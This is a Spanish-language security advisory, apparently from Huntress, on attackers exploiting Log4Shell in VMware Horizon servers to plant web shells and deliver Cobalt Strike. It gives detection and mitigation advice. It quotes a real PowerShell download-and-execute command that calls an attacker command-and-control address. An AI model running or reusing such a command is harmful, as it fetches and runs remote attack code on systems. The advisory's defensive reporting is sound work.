El 5 de enero, el Servicio Nacional de Salud del Reino Unido (NHS) alertó que hackers estaban atacando activamente vulnerabilidades de Log4Shell en servidores VMware Horizon, con el fin de establecer acceso persistente mediante web shells. Estos web shells permiten que atacantes no autenticados ejecuten comandos de forma remota en tu servidor como NT AUTHORITY\SYSTEM (privilegios de root). Según Shodan, actualmente hay alrededor de 25.000 servidores Horizon accesibles desde internet en todo el mundo.
Nuestro equipo sigue monitoreando esta actividad y esta publicación se actualizará con nueva información a medida que esté disponible.
Fuente de la imagen: NHS - https://digital.nhs.uk/cyber-alerts/2022/cc-4002
Con base en el conjunto de datos de Huntress de 180 servidores Horizon, validamos la información del NHS y descubrimos que el 10 % de estos sistemas (18) tenían una puerta trasera instalada mediante una versión modificada del web shell absg-worker.js. Es importante señalar que alrededor del 34 % de los 180 servidores Horizon (62) que analizamos no tenían los parches aplicados y estaban expuestos a internet en el momento de esta publicación. Los web shells en estos 18 sistemas comprometidos establecieron una cronología que comenzó el 25 de diciembre de 2021 y continuó hasta el 29 de diciembre de 2021.
Nuevo comportamiento
El 14 de enero a las 1458 hora del Este, una detección no relacionada de Managed Antivirus (Microsoft Defender) alertó a nuestro equipo del SOC sobre una nueva explotación de la vulnerabilidad Log4Shell en VMware Horizon. Esta vez se usó para entregar el implante Cobalt Strike.
Otros investigadores de seguridad, incluyendo TheDFIRReport y Red Canary, reportaron un comportamiento similar casi al mismo tiempo, confirmando que un descargador basado en PowerShell ejecutó un payload de Cobalt Strike configurado para comunicarse con 185.112.83[.]116 para su comando y control.
iex ((New-Object http://System.Net.WebClient).DownloadString('http://185.112.83[.]116:8080/drv'))
A las 1938 hora del Este, empezamos a implementar el agente Process Insights de Huntress, que pronto se lanzaría, en todos los servidores VMware Horizon que protegemos. Esta nueva capacidad de EDR se basa en una adquisición que hicimos a principios de 2021 y nos permite detectar y responder de forma proactiva a comportamientos maliciosos no persistentes, al darnos la capacidad de recopilar información detallada sobre los procesos.
Origen del acceso inicial
A pesar de la explotación masiva de VMware Horizon para entregar web shells, nuestros datos sugieren que las implementaciones de Cobalt Strike de hoy fueron resultado de la explotación de Horizon en sí y no del abuso de web shells. Esta conclusión se basa en gran parte en el análisis del proceso principal del payload de PowerShell: el abuso de web shells se origina desde node.exe, mientras que la explotación de Log4Shell en Horizon se origina desde ws_tomcatservice.exe, como se muestra en la imagen.
Consejos de detección
Si recién te enteras de la explotación masiva de servidores VMware Horizon y la instalación de web shells de puerta trasera, deberías considerar seriamente la posibilidad de que tu servidor esté comprometido si no tenía los parches aplicados y estaba expuesto a internet. Para ayudarte a determinar tu estado,
te recomendamos encarecidamente realizar las siguientes acciones:
- Ejecuta la herramienta de mitigación de Horizon de VMware para reportar si hay una biblioteca Log4J vulnerable o un web shell basado en child_process presente en la ubicación de instalación, con el siguiente comando: Horizon_Windows_Log4j_Mitigation.bat /verbose
- Inspecciona o evalúa manualmente los archivos dentro de %ProgramFiles%\VMware\VMware View\Server\appblastgateway\ en busca de la cadena child_process, como se muestra aquí.
- Revisa los registros históricos en busca de evidencia de que node.exe o ws_TomcatService.exe hayan generado procesos anormales, incluyendo PowerShell.
Pasos de mitigación
Esta nueva ola de ataques coordinados resalta lo crítico que es aplicar los parches a estos servidores de inmediato. VMware ha publicado una guía detallada para ayudarte a abordar estas vulnerabilidades de seguridad.
Si descubres un web shell, VMware recomienda que “apagues el sistema y contactes a [un] equipo de respuesta a incidentes” para evaluar por completo el compromiso. Alternativamente, Huntress recomienda restaurar desde una copia de seguridad anterior al 25 de diciembre para eliminar el web shell. Dicho esto, es completamente posible que los atacantes hayan explotado CVE-2021-44228 y CVE-2021-45046 para moverse lateralmente dentro de tu red, así que debes proceder con precaución.
